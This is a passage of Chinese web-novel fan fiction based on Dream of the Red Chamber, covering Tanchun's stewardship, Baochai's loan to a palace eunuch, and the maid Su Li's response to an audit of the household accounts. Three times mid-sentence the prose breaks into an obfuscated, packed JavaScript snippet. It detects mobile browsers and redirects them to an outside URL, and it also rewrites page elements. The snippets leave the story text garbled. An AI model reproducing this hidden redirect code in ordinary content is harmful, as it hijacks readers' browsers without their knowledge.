她必须加快行动了！暖香坞的秘密，必须尽快弄到手！粤海记的渠道，必须尽快打通！时间，真的不多了。 她走到窗边，看着窗外沉沉的夜色。今日她虽然险险过关，甚至赢得了凤姐更深一层的依赖和王夫人一丝微妙的感激，但她知道，自己已经彻底站到了风口浪尖上。周瑞家的那一系人，还有府外虎视眈眈的债主和敌人，都不会放过她。 然而，她也并非全无收获。至少，她证明了自已的价值和在危机中的镇定。而且，经过此事，她动用那笔“黑钱”为自己谋划退路，似乎也多了一层掩护——连自己的“体己”都肯拿出来救急，谁还会怀疑她暗中转移财产呢？ 福兮祸所伏，祸兮福所倚。苏璃的眼中，闪过一丝冰冷而坚定的光芒。游戏，才刚刚进入最危险的阶段，而她，已经没有退路了。 51. 探春理家 凤姐这一病，如山倒。连日来的焦灼、惊怒、操劳，被银号逼债这事一激，彻底掏空了她强撑的精神气。高热退去后，便是长久的昏沉虚弱，每日里醒少睡多，即便清醒时，也说不了几句话，只倚在枕上，眼神空茫地望着帐顶繁复的绣样，不知在想些什么。 荣国府的天，仿佛一夜之间塌了一半。外头债主虽暂时被打发，但“贾府连几百两银子都支应不出”的消息，如同长了脚的瘟疫，悄无声息地传遍了京城权贵圈。往日门庭若市的宁荣街，骤然冷清了不少。来探望的亲友，言语间也多了几分试探与疏离。 府内更是人心惶惶。主子们各怀心思，下人们更是没了主心骨，偷懒耍滑、窃窃私语者甚众，偌大的府邸，竟透出一股“树倒猢狲散”的颓败气息。 王夫人急得嘴角起泡，日夜在贾母榻前侍疾，还要强打精神应付外面官中的琐事，几日下来，竟也憔悴了许多。贾琏更是如同没头苍蝇，外面债务缠身，里面凤姐病倒，他竟是一点主意也无，只知唉声叹气，或是在外头躲清静。 正当这内忧外患、无人主事之际，一向沉默安静的三姑娘探春，却站了出来。 这日晨省，王夫人正对着满桌子待处理的帖子、账本发愁，探春领着侍书，端着一盏参茶，悄步进来。她今日穿了一件半新的藕荷色绫缎袄，青缎掐牙背心，神色沉静，目光却清亮有神。 “给太太请安。”探春行礼后，将茶轻轻放在王夫人手边，目光扫过那堆杂乱文书，缓声道：“太太连日辛苦，凤姐姐又病着。媳妇瞧着，外头这些官中往来帖子，还有府里一些不急之务，若是太太信得过，媳妇或可暂且帮着料理几分，也好让太太专心伺候老太太，保养身子。” 王夫人闻言，抬起疲惫的眼，仔细打量了这个庶出的女儿几眼。探春素日稳重，言语爽利，心中颇有丘壑，她是知道的。只是管家理事，非同小可，尤其在这风雨飘摇之时……她沉吟着，未曾立刻答应。 恰巧宝玉、黛玉、宝钗并李纨等人也来请安。听闻探春之言，宝玉先就拍手道：“三妹妹最有主意！定能帮太太分忧！”黛玉亦轻声道：“探丫头心思缜密，处事公道，或可一试。”宝钗则微笑道：“姨母近日确是劳乏过了，有三妹妹帮着掌个总，定个章程，下头的人也好循例行事，免得生乱。”李纨也点头称是。 见众人都如此说，王夫人心中稍定，又见探春目光坚定，并非一时冲动，便叹了口气道：“难为你有这个心。既如此，一些寻常的官客往来回帖，还有府中日常用度支取、各房月例发放这些琐事，你就暂且替我看着些。若有拿不定主意的，务必来回我，万不可擅自专主。”说着，便让玉钏儿将对牌取来，交予探春。 探春双手接过那沉甸甸的对牌，神色凝重，并无半分喜色，只肃然道：“太太放心，媳妇必当恪尽职守，凡事循旧例，多请示，断不敢行差踏错。” 探春理家的消息，如同在死水潭中投下一块石子，激起的涟漪却比预想中更大。下人们起初大多存了轻视之心，想着一个未出阁的小姐，又是庶出，能有什么手段？不过是一时无人，暂代几日罢了，只怕比凤姐奶奶在时更易糊弄。 然而，探春上任第一日，便显出了与凤姐截然不同的风格。 她不似凤姐那般雷厉风行、锋芒毕露，而是沉静如水，条理分明。第一件事，便是将平儿、林之孝家的等有头脸的管事媳妇唤至议事厅，并不急于发号施令，而是先让各房各处将手头积压待办的事项、近日的用度开销，一一禀明，由侍书记录在案。 她听得极仔细，遇到不明之处，便细细追问，却不轻易表态。待众人回禀完毕，她方缓缓开口，声音不高，却清晰入耳：“凤姐姐病着，太太要伺候老太太，如今府里事杂，更需上下齐心，循规蹈矩。以往旧例，一切照旧。只是有几句话，需说在前头。” 她目光平静地扫过众人：“一则，各房各院份例用度，皆按旧例，不得虚报冒领。额外开支，需事先列明缘由、数目，呈报核准，方可支取。二则，一应物品采买，需由两人以上经手，价格务公，质量务实，事后需有单据凭证。三则，仆役人等，各司其职，不得懈怠推诿，亦不得无故欺凌幼弱。有功则赏，有过则罚，概不徇私。” 她语气平和，却自有一股不容置疑的威严：“我年轻识浅，若有不到之处，诸位妈妈、嫂子都是府里的老人，还望多多提点。但若有人以为可趁此机，浑水摸鱼，懈怠公事，或是倚老卖老，欺上瞒下，我虽是个姑娘家，却也认得府里的规矩，认得这对牌！” 一番话，不卑不亢，恩威并施，既申明了规矩，也堵住了悠悠之口。平儿在一旁听着，心中暗暗称奇，这三姑娘，竟有几分杀伐决断的气度，与二奶奶的“辣”不同，是一种“清”而“锐”的力道。 探春理家，苏璃自然是密切关注。她如今虽仍是凤姐院里的丫鬟，但因凤姐病倒，许多账目上的事，平儿忙不过来，便常来与她商议。探春亦知苏璃是凤姐得力之人，且精通账务，故有些银钱往来、账目核查之事，也偶尔会唤她过去问话。 这日，探春查看近几个月府中花园、车轿、器物修缮等项开支，发现几处漏洞，便召来相关管事媳妇询问。那媳妇见探春年轻，便想含糊搪塞，只说“历来如此”、“市价上涨”等语。 探春也不动怒，只命侍书取来往年同期账册，细细比对，又唤来苏璃，问及近日市面工料行情。苏璃早已将各项数据熟记于心，当下条分缕析，将实际物价与账目所报一一对照，指出其中虚报、浮夸之处，数据确凿，字字清晰。 那管事媳妇被问得哑口无言，汗流浃背。探春这才沉下脸，道：“我虽年轻，却也不是好糊弄的！府中艰难，更需节流。你等竟敢如此欺瞒，中饱私囊！今日初犯，且革去三个月月钱，以观后效。若再有不实，定不轻饶！”处理得干净利落，令人心服。 事后，探春独留苏璃，叹道：“往日只听凤姐姐夸你精明，今日一见，果然名不虚传。府中账目纷乱，漏洞百出，若非你这般心细如发，不知还要被瞒骗多久。” 苏璃忙垂首道：“三姑娘谬赞了。奴婢只是尽本分。姑娘明察秋毫，持公秉正，才是府中之福。” 探春看着她，目光中带着欣赏与思索，忽然问道：“以你之见，如今府中最大的弊病在何处？开源节流，当从何入手？” 苏璃心中一动，知探春是真心求问，而非试探。她沉吟片刻，谨慎答道：“回姑娘的话，奴婢愚见。府中弊病，一在人口繁多，用度奢靡，入不敷出；二在管理松懈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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自此，探春理家，愈发有了章法。她与李纨、宝钗商议，又得平儿、苏璃从旁协助，将府中事务打理得井井有条。她改革了以往许多陋规，裁减了不必要的开支，对下恩威并施，处事公道，不过月余，府中风气竟为之一新，那些原本心存轻视、意图怠惰的下人，也都收敛了许多，不敢再轻易欺瞒。 连王夫人也暗自惊讶，对薛姨妈道：“真真看不出，三丫头竟有这等才干！比凤丫头在时，还更显清净省力些。”贾母病中听闻，也略感欣慰，只叹道：“可惜是个女孩儿，若是个男儿，只怕更能支撑门户。” 然而，在这看似平静的局面下，暗流依旧汹涌。探春的改革，触动了不少旧有势力的利益。赵姨娘因探春裁减了她屋里一些过分的用度，心中不忿，时常抱怨。邢夫人那边也觉探春事事回明王夫人，不将她放在眼里，颇有微词。而府外虎视眈眈的债主，也并未真正离去，只是在等待下一个时机。 这日傍晚，苏璃从探春处回凤姐院子，路过园中，只见暮色四合，寒鸦归巢，一片萧索景象。她心中清楚，探春之才，如同昙花一现，终究难以挽回这倾颓的大势。眼前的清净，不过是暴风雨来临前短暂的间歇。 她抬头望向凤姐房中那盏昏黄的灯光，心中忧虑更甚。凤姐的病，不仅是身病，更是心病，是贾府这艘破船即将沉没的预兆。而自己，这个凭借算计和能力勉强攀附在船桅上的人，又能在这最后的漩涡中，找到怎样的生机？ 夜色渐浓，寒意侵骨。苏璃裹紧了衣衫，快步走向那点微光。 她知道，探春理家，只是这场漫长悲剧中的一段插曲。真正的惊涛骇浪，还在后头。而此刻，她必须抓紧这短暂的平静，为自己，也为那个在病中交付了她最后信任的琏二奶奶，谋划一条或许能通往岸边的路。 52. 宝钗小惠 探春理家，雷厉风行，清正廉明，不过月余，府中那些积年的弊病被她剔除了不少，浮费裁减，人情整顿，竟显出几分中兴气象来。 下人们虽觉约束紧了，但见三姑娘处事公允，赏罚分明，有功即赏，有过必罚，不似凤姐那般喜怒无常、常有偏私，倒也渐渐心服，办事不敢如前怠惰。 然而，这“中兴”之象，终究是建立在沙丘之上的楼阁。探春所裁减的，多是些面子上的浮费、各房过分的用度，于贾府这庞大躯壳内里早已蛀空的根本，并无太大补益。府外债台高筑，田庄铺面收益日薄，这些沉疴宿疾，绝非一个未出阁的小姐凭一己之力能够扭转。更遑论，她的改革，不知不觉间，已触动了太多人的利益。 赵姨娘首当其冲。探春为示公正，对自己生母屋里也一视同仁，裁减了好些额外份例和虚报的开销。赵姨娘又羞又恼，自觉脸上无光，虽不敢明着与探春闹，却常在其他姨娘、婆子跟前抱怨：“如今可好了，亲生的闺女当了家，倒先拿自己娘开刀！真真是胳膊肘往外拐！”这些话传开来，不免惹人议论，也让探春处境有些尴尬。 邢夫人那边，因探春事事回明王夫人决断，显见得更敬重嫡母，对自己这大伯母不过是面子情，心中也存了芥蒂，冷眼旁观，偶尔在贾赦跟前吹吹风，说些“三丫头毕竟年轻，只怕被人拿捏”之类的话。 底下那些被断了财路的管事媳妇、婆子们，更是怨声载道，只是碍于探春威严，不敢明着对抗，暗地里却少不了使绊子、传闲话。一时间，府中表面上风平浪静，底下却暗流涌动。 这一日，探春正与李纨、宝钗在议事厅内核算近日各房用度，忽见平儿面色凝重地进来，回禀道：“三姑娘，大奶奶，宝姑娘，方才门上传来话，说是宫里夏太监打发小内监来，说夏爷爷近日要修缮城外的一处庄子，手头短了些使费，想跟府上‘暂借’一千两银子，周转一二。” “一千两？”探春眉头立刻蹙起。李纨也变了脸色。宝钗沉吟不语。 这夏太监是宫里有头脸的老人儿，时常在各勋贵之家“走动”，名为借贷，实则是变相的索要，且这钱是有借无还的。往日凤姐在时，虽也头疼，但为维持关系，多少都要应付一些。如今府中艰难，一千两可不是小数目。 探春沉声道：“可知是夏爷爷亲自开口，还是底下人借名？” 平儿道：“来的是夏爷爷跟前得用的小内监，话里话外，确是夏爷爷的意思。还说……如今宫里开销大，各位主子娘娘跟前都紧巴巴的，夏爷爷也是没法子。” 这话已是带了几分威胁了。宫中用度缩减，太监们便更需从宫外找补。贾府如今风雨飘摇，正是他们眼中的“肥羊”。 李纨叹道：“这些公公，最是得罪不起。若不借，只怕他们在宫里给娘娘气受；若借，这银子……” 宝钗温声道：“三妹妹，这事需得慎重。夏太监既然开了口，恐怕推脱不得。只是如今府里艰难，一千两确实为难。或可斟酌着，减一些送去，再备些时新尺头、精巧玩意，只说府里近日事多，银钱不凑手，聊表心意，望夏爷爷体谅。” 探春思忖片刻，摇头道：“宝姐姐主意虽好，只怕那些公公胃口大，减了数目，反嫌我们小气，更生嫌隙。况且，有一就有二，开了这个头，日后更难应付。” 她转向平儿：“库里如今能动的银子还有多少？” 平儿面露难色，看了一眼旁边的苏璃。苏璃心中了然，上前一步，低声道：“回三姑娘，账上能立刻支取的现银，不足五百两。前几日打发‘恒舒典’的利钱，还是……还是璃姑娘垫了些体己才凑够的。”她未提苏璃那金子，只含糊带过。 探春闻言，脸色更沉。连五百两都凑不齐，如何应付夏太监的一千两？难道又要典当？可府里能当的值钱物件，还能剩下多少？ 宝钗见探春为难，李纨无措，平儿焦急，苏璃垂首不语，心知府中已是捉襟见肘到了极点。她沉吟良久，忽然开口道：“三妹妹，我倒有个拙见，或可解此燃眉之急，又不至太过损伤府中元气。” 探春忙道：“宝姐姐快请讲。” 宝钗缓缓道：“这银子，恐怕不得不借，但数目或可商议。不如这般，我们备上六百两现银，再将我哥哥前日从南边带来的一套赤金点翠头面、两匹上用宫缎，并一些御田胭脂米、茯苓霜等稀罕吃食，凑成一份厚礼，由链二哥哥亲自送去。就说府中近日连遭事故，实在周转不开，这六百两是倾尽所有，余者以物相抵，望夏爷爷笑纳，且宽限些时日。哥哥在外行走，与夏太监门下也有些交情，可让哥哥从中转圜几句。夏太监见礼数周全，又有薛家面子在其中，或许不会太过为难。” 她顿了顿，又道：“至于这六百两银子……我那里还有些梯己，原是母亲给我备着日后用的，如今府中有急，先拿来应应急，日后宽裕了再还我便是。” 此言一出，满座皆惊。探春又是感动，又是惭愧，握住宝钗的手道：“宝姐姐，这如何使得！你的梯己，我们怎好用？” 李纨也道：“正是，断没有用你私房钱的道理。” 宝钗微微一笑，神色坦荡：“三妹妹、大嫂子说哪里话。我们亲戚家，原该同舟共济。况且，这也不单是为府里，娘娘在宫中，也需要这些太监们照应。不过是暂借一时，算不得什么。” 她语气温和，态度却坚决。探春知她性情，既已开口，便是深思熟虑过的，再推辞反倒见外。且眼下除了此法，也实在别无良策。她与李纨对视一眼，皆看到对方眼中的无奈与感激。 “既如此……就依宝姐姐。”探春终究是爽利人，不再矫情，“只是这银子，算府里借的，日后必定归还。平儿，你去我屋里，将我那对翡翠镯子，还有前年生日得的那副金镶玉头面取来，一并添在礼单上。” 李纨也道：“我那里还有些不错的尺头，也拿来添上。” 宝钗忙道：“三妹妹、大嫂子不必如此，我那些尽够了……” “宝姐姐不必推辞，”探春打断她，“这是府里的事，没道理让你一人承担。我们能凑一些，便是一些。” 事情就此议定。宝钗当即命莺儿回去取银票，探春、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019237|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李纨也各自回去收拾东西。平儿和苏璃忙着登记造册，准备礼单。 苏璃在一旁默默看着，心中对宝钗的观感，又复杂了几分。这位宝姑娘，平日里端庄稳重，罕言寡语，没想到关键时刻，竟有如此魄力和担当。六百两银子，加上那些价值不菲的首饰衣料，对她一个客居的亲戚来说，绝非小数。她此举，固然有维护薛家与贾府关系、间接帮助宫中元春的考量，但这份“小惠”，实实在在解了贾府的燃眉之急，也赢得了探春、李纨乃至王夫人更深的感激与信任。 只是，苏璃心中亦有一丝隐忧。宝钗如此慷慨，固然是雪中送炭，但也将贾府财政窘迫的现状，更清晰地暴露在了薛家面前。薛姨妈与王夫人是亲姊妹，或许无妨，但那位精于算计的薛蟠薛大爷呢？他会如何看待贾府如今的虚弱？日后薛贾两家的关系，又会因此产生何种微妙的变化？ 礼单备齐，贾琏虽不情愿，也只得硬着头皮，带着厚礼和宝钗的银票，前往夏太监处周旋。所幸薛蟠果然从中说了些好话，夏太监见礼单丰厚，贾琏态度恭敬，薛家又出面，倒也未再强求那一千两，收了六百两并礼物，算是给了面子。 此事暂且揭过，但府中上下，经此一遭，更是人人自危，清晰无比地认识到，贾府这座昔日辉煌的国公府，如今竟已到了需要靠亲戚接济、典当礼物来应付太监敲诈的地步了！一种末日将近的恐慌与凄凉，无声地弥漫开来。 宝钗的“小惠”，如同冬日里的一盆炭火，短暂地温暖了即将冻僵的人，却也照见了四周更加深重的寒冷与破败。探春理家带来的些许振奋，被这盆冷水浇得透心凉。她虽强打精神，继续处理庶务，但眉宇间的忧色，却一日重过一日。 苏璃冷眼旁观，心中那逃离的计划，越发紧迫。宝钗可以拿出体己救急，但她苏璃没有。她能依靠的，只有自己的谋划，和那个神秘莫测的北静王四爷，水澈。 这日晚间，她回到自己小屋，闩上门，就着昏黄的灯光，再次翻开那本记录着暖香坞秘密的花样子册子。那些地契、借据、隐秘账目，是她手中唯一的筹码。她必须尽快行动，在贾府这艘船彻底沉没之前，拿到足够傍身的资本，并通过“粤海记”的渠道，为自己谋一条生路。 窗外，夜风呼啸，仿佛预示着更加凛冽的寒冬即将到来。而苏璃的目光，落在册子某一页用特殊符号标记的一处田庄信息上，久久未动。那处田庄，位置偏僻，产出不高，在贾府众多产业中毫不显眼。或许，它可以成为一个起点。 就在她凝神思索之际，忽听窗外传来极轻的“叩叩”两声，仿佛石子敲击窗棂。 苏璃心中一跳，迅速吹灭灯火，贴近窗边，压低声音问：“谁？” 窗外，一个刻意压低的、有些耳熟的声音响起：“璃姑娘，是我，林之孝。有要紧事，关于……关于东府珍大爷那边查账的事，需得立刻禀报二奶奶，可二奶奶睡了……平姑娘让我悄悄来问姑娘拿个主意。” 林之孝？查账？东府？苏璃的心猛地一沉。难道，贾珍那边的祸事，已经牵连到账目，烧到西府这边来了？ 53. 主意 窗外林之孝那刻意压低的声音，如同腊月寒风，瞬间穿透窗纸，让苏璃脊背生凉。 东府查账？贾珍的案子竟已牵连到账目了？而且是在这深夜，林之孝绕过凤姐，直接来找自己这个丫鬟“拿主意”？ 电光石火间，无数念头在苏璃脑中翻腾。林之孝是西府大管家，亦是凤姐心腹，若非事态紧急且棘手，绝不会如此行事。东府与西府虽分家，但同气连枝，账目上多有勾连，尤其近年来为应付省亲、丧事等巨大开销，两府银钱挪借频繁，若东府账目被查，西府绝难独善其身！ 她定了定神，迅速判断：林之孝不去惊动病中的凤姐，也不找平儿，反而来找自己，无非几点：一是凤姐病重，无法理事；二是平儿虽得信任，但于外头账目关节不如自己清楚；三则，此事或许与自己经手过的某些账目有关，林之孝需先来探探口风，或寻求统一说辞！ “林管家稍候。”苏璃低声应了一句，迅速点起灯，整理了一下衣衫，这才轻轻打开房门。 林之孝闪身进来，反手将门虚掩。他穿着深色夹袄，额上却隐有汗意，脸色在昏黄灯光下显得异常凝重。见屋内只有苏璃一人，他略松了口气，也顾不得寒暄，急声道：“璃姑娘，事出紧急，得罪了。” “林管家请坐，慢慢说。”苏璃指了指炕沿，自己也在对面坐下，神色镇定。 林之孝哪里坐得住，站在当地，压低嗓音，语速又快又急：“方才东府赖大管家连夜派人递了话来，说是……说是都察院那边查贾珍大爷的案子，不知怎的，竟翻出了几笔旧账，牵扯到西府！说是当年修盖省亲别墅时，有两笔采买巨木和石料的银子，账目不清，经手人疑似中饱私囊，而那经手人的名字……竟与咱们西府库上的人有关联！如今东府那边乱成一团，赖大让我务必立刻回明二奶奶，早作准备！” 果然！苏璃心头一紧。省亲别墅的账目，她曾仔细核对过，确实有几笔大额采买手续模糊，尤其是贾珍、贾蓉经手的部分。当时她便心存疑虑，只是凤姐不欲深究，她也不好越权。如今东窗事发，终究还是烧过来了！ “那两笔银子，具体数目、经手人是谁？林管家可知？”苏璃沉声问，声音不见波澜。 林之孝抹了把额头的汗：“据赖大说，一笔是采买金丝楠木，三千两，经手人是东府的贾蔷，但账目上注明‘西府库上协理’；另一笔是太湖奇石，两千五百两，经手人是东府的贾菖，账目上也有‘西府库上支取’的字样！如今都察院揪着‘西府库上’这几个字不放，要查协理的是谁，支取银子的是谁！” 苏璃脑中迅速调阅记忆。贾蔷、贾菖采买，她是知道的，当时账目上确实有“西府库上协理/支取”的备注，但那指的是款项从西府公账上走，具体经手银钱出入的，是库上的管事吴新登！而吴新登……此人素来与贾珍那边走得近，采买报价也常有虚高之嫌。 “库上当时具体经办这两笔银子支取的，可是吴新登？”苏璃直接问道。 林之孝眼中闪过一丝惊异，没想到苏璃反应如此之快，点头道：“正是他！但如今吴新登那老滑头，一听风声不对，前日便告了病，回家‘休养’去了！如今人不在府里，账目又白纸黑字写着‘西府库上’，都察院若真派人来查，咱们如何交代？” 人跑了！苏璃心往下沉。吴新登这一跑，几乎坐实了心虚！而账目上“西府库上”的字样，更是将西府直接拖下了水！ “二奶奶知道了吗？”苏璃问。 “尚未敢惊动！二奶奶那身子……如何经得起这等惊吓？”林之孝搓着手，焦急道，“平姑娘让我先来找姑娘商议，姑娘最清楚账目，看此事……可有转圜余地？” 转圜？苏璃心中冷笑。都察院既然已经查到这一步，且抓到了“西府库上”的把柄，岂会轻易放过？贾珍的案子，恐怕只是个引子，真正要查的，是两府在省亲、丧事等巨大工程中，有无贪墨枉法、亏空公帑！这是要抄家灭族的大罪！ 她强迫自己冷静下来。事已至此，慌乱无用。当务之急，是如何应对，如何最大限度地撇清西府，至少是撇清凤姐和自己的干系。 “林管家，”苏璃缓缓开口，声音在静夜中异常清晰，“此事关键，在于两点。其一，账目上‘西府库上’四字，是事实，但‘协理’、‘支取’是奉命行事，并非主谋。经办人是吴新登，他如今称病不出，嫌疑最大。其二，那两笔采买，是否真有贪墨？差价几何？东西是否如实入库？若能证明采买之物货真价实，纵然手续有些含糊，罪责也轻得多。” 林之孝眼睛一亮：“姑娘的意思是……” “立刻做三件事。”苏璃站起身，语速加快，“第一，林管家你立刻暗中派人，务必找到吴新登！软硬兼施，也要让他吐口！问清楚那两笔银子的具体去向，有无克扣，与贾蔷、贾菖如何分账！拿到他的口供或证据，我们才不至于被动！” “第二，连夜清理库房，找出当年那批金丝楠木和太湖石的入库单据、验收记录！东西是否还在园中？若在，立刻核对数量、成色！若不在，去了哪里？有无登记？务必找出凭证！证明银子花了，东西确实到了府里！” “第三，”苏璃目光锐利地看着林之孝，“立刻封存所有与省亲别墅、秦氏丧事相关的账册！尤其是经手人是东府爷们、且从西府支取银两的账目，全部整理出来，单独存放。同时，悄悄将西府近两年正常的、无瑕疵的收支账目准备一套，以备查验。” 林之孝听得连连点头，额头却冷汗涔涔：“姑娘思虑周全！只是……吴新登那老狐狸，怕是不好找，找到了也未必肯说。库房单据……年头久了，又经手人多，怕是不全……” “不好找也要找！不全也要找！”苏璃斩钉截铁，“这是生死关头！林管家，你比我更清楚，此事若处理不当，西府会是什么下场！二奶奶会是什么下场！你我又会是什么下场！” 林之孝浑身一颤，脸色发白。他自然明白其中利害，只是事到临头，难免慌乱。此刻被苏璃点破，更觉寒意彻骨。 “那……那我现在就去办！”林之孝咬牙道。 “慢着。”苏璃叫住他，“此事绝密，万不可走漏风声！尤其不能惊动东府那边！赖大传话，是让我们早作准备，不是让我们自乱阵脚！你找的人，必须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027403|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绝对可靠！库房清理，也要以‘年终盘库’为名，悄悄进行，不可大张旗鼓！” “是，是！我明白！”林之孝连连应诺，对眼前这个年轻的丫鬟，已是心悦诚服，不敢有丝毫轻视。 “还有，”苏璃压低声音，“你私下里，想办法探探赖大的口风。东府那边，除了这两笔，可还有别的把柄落在都察院手里？珍大爷如今到底是个什么情形？咱们心里得有数。” 林之孝重重点头：“姑娘放心，我晓得分寸。”说罢，匆匆一揖，闪身出门，消失在夜色中。 苏璃关上门，背靠着冰冷的门板，才觉出自己手心早已被冷汗浸湿，双腿也有些发软。刚才那一番应对，几乎是凭本能脱口而出。她知道自己是在刀尖上跳舞，稍有不慎，便是粉身碎骨。 她走回桌边，就着摇曳的灯火，迅速摊开纸笔。不能等林之孝的消息，她必须有自己的准备。她凭着记忆，将可能与东府贾珍、贾蔷、贾菖等人有关的、经手模糊的大额账目一一列出，尤其是涉及木材、石料、古董、戏班等采买项。她写得极快，字迹潦草，心中却异常清晰。 列完清单，她又拿出一张干净的纸，开始梳理西府近年来的正常账目流向，哪些是清晰可查的，哪些是容易引起怀疑的。她必须确保，一旦都察院真的来查，西府这边能有足够干净的账目应付过去，至少要将凤姐和自己的责任降到最低。 至于吴新登……苏璃笔尖一顿。这个人，是关键中的关键。他是西府库房大管事，若他一口咬定是奉命行事，或胡乱攀咬，西府便难以脱身。必须抢先控制住他，或者……拿到能让他闭嘴的把柄。 她忽然想起，自己之前核对账目时，似乎发现吴新登经手的几笔庄子上的粮食采买，价格有些蹊跷……当时因数额不大，且凤姐不欲多事，她便搁置了。如今看来，这或许是个突破口。 还有暖香坞……苏璃眼神一凝。那里藏着的贾府隐秘账目和地契借据，是更大的隐患！都察院若查到那里，后果不堪设想！必须尽快处理掉！或者……转移到更安全的地方？ 时间！她最缺的就是时间！林之孝能否顺利找到吴新登？库房单据能否找齐？东府那边还会爆出什么？都察院何时会来？ 无数问题盘旋在脑海，让她头痛欲裂。然而，她知道自己不能乱。凤姐病倒，平儿内帷事务缠身，探春虽能干，毕竟年轻且不熟悉外账，此刻能倚仗的，竟只有她和林之孝！ 她吹熄了灯，和衣躺在炕上，却毫无睡意。窗外风声呜咽，仿佛鬼哭。她知道，真正的风暴，已经迫在眉睫。而她之前所有的暗中筹划，此刻都必须加速，甚至要冒更大的风险。 水澈……那个在竹林中点醒她的男人。如今这滔天巨浪中，他能成为她的救命稻草吗？还是说，他本身也是这漩涡的一部分？ 苏璃在黑暗中睁大了眼睛。无论如何，她不能坐以待毙。主意已定，剩下的，便是搏命一赌。她轻轻摩挲着袖中那本硬硬的、记录着无数秘密的花样子册子，仿佛那是她仅有的武器。 长夜漫漫，危机四伏。但她的眼神，在黑暗中，却渐渐燃起一丝孤注一掷的火焰。 54. 后路 林之孝的身影消失在夜色中，如同水滴融入深潭，只留下阵阵寒意。苏璃背靠着冰冷的门板，良久未动。窗外风声呜咽，更鼓声遥遥传来，已是三更天了。 东府查账！终究还是来了，而且来得如此之快，如此猝不及防。贾珍的案子竟已牵连到账目，烧到了西府这边，而且是经手人疑似中饱私囊的贪墨重罪！吴新登跑了，“西府库上”白纸黑字，这简直是递到都察院手上的把柄！ 苏璃的心沉甸甸地往下坠。她深知，这绝非孤立事件，而是贾府这座大厦将倾前，山体内部传来的清晰断裂声。贾珍的狂妄荒唐，不过是冰山一角，水下是两府多年来盘根错节的财务亏空、贪腐横行。都察院既然能从东府账目顺藤摸瓜查到西府，必然不会轻易罢手。接下来，恐怕就是狂风暴雨般的彻查。 王熙凤病倒，平儿让她“拿主意”……这既是信任，也是将她推至风口浪尖。此刻她的一举一动，不仅关乎自身安危，更直接牵连病中的凤姐和整个西府的命运。 不能慌，绝不能慌！苏璃强迫自己冷静，快步走回桌边，重新点亮油灯。昏黄的光晕下，她摊开纸笔，脑中飞速运转。 林之孝已按她吩咐去办三件事：找吴新登、清库房单据、封存相关账册。这是应急之策，但能否奏效，殊难预料。吴新登那个老滑头，既然敢跑，必定留有后手，或是被人胁迫，或是早已准备好替罪羊。库房单据年深日久，残缺不全，能否找到有力证据尚未可知。 必须做最坏的打算！苏璃提笔，在纸的上方重重写下两个字：后路。 为今之计，首要任务是最大限度地撇清王熙凤和自己的干系。如何撇清？证据！必须抢在都察院介入之前，找到能证明西府在此事中只是“奉命协理”、款项流程合规、且采买之物货真价实的证据！ 她迅速列出几条思路： 一、深挖吴新登。此人关键，必须不惜一切代价找到他！不仅要问出那两笔银子的真相，更要拿到他能反咬东府、或是证明自身清白的证据。威逼利诱，无所不用其极！林之孝的人脉和手段，此刻至关重要。 二、核对实物与账目。那批金丝楠木和太湖石是否还在省亲别墅？若在，立刻请可靠的匠人暗中评估其价值是否与账面相符！若不在，去了哪里？有无改建、挪用记录？必须找到实物去向的合法合理解释。 三、清理关联账目。都察院既查到这两笔，难保不会扩大调查范围。必须立刻自查西府所有与东府、尤其是与贾珍、贾蔷、贾菖等人有关的大额资金往来。凡是手续模糊、经手人可疑的账目，必须立刻清理、补充说明，或做好切割准备。暖香坞……那个藏着贾府最大隐秘的所在，必须尽快处理！ 四、统一口径。此事一旦发作，府中知情人必被传讯。王熙凤病中，需提前对好说辞。平儿、林之孝、乃至可能知情的账房先生，都必须口径一致，强调西府是依例协理，具体经办是吴新登，西府高层并不知情详情。 五、……苏璃的笔尖顿住了。第五条，是她自己的后路。 如果……如果最终无法挽回，大势已去，她当如何自处？她这个深受王熙凤倚重、经手无数账目的“璃姑娘”，在都察院眼中，恐怕亦是重点审查对象。届时，谁能保她？王熙凤自身难保，贾琏靠不住，贾母……只怕也无力回天。 一股寒意从脚底直窜头顶。她想起自己暗中记录的那本花样子册子，那里有贾府更多的财务漏洞和隐秘。那是护身符，也是催命符。用得好，或可扳倒对手，换取生机；用不好，便是抄家灭族的铁证。 还有水澈……那个心思难测的北静王府庶子。他可知此事？在此事中，扮演何种角色？是冷眼旁观，还是会……施以援手？苏璃不敢深想，将这点微弱的期望压入心底。靠人不如靠己。 她深吸一口气，在第五条后面写下：早谋退路，转移重心。 具体如何做？她脑中闪过几个念头：城外田庄那点微薄产业，远不足以应对巨变。必须加快步伐！利用现有权限，将能动用的银钱，以更隐蔽的方式，转移到更安全的地方，或置办成不易查抄的产业。江南的“锦云堂”尚在雏形，远水难救近火。或许……可以借助薛家的商路？宝钗近日似乎对她颇为友善……但薛家与贾家牵连太深，未必稳妥。 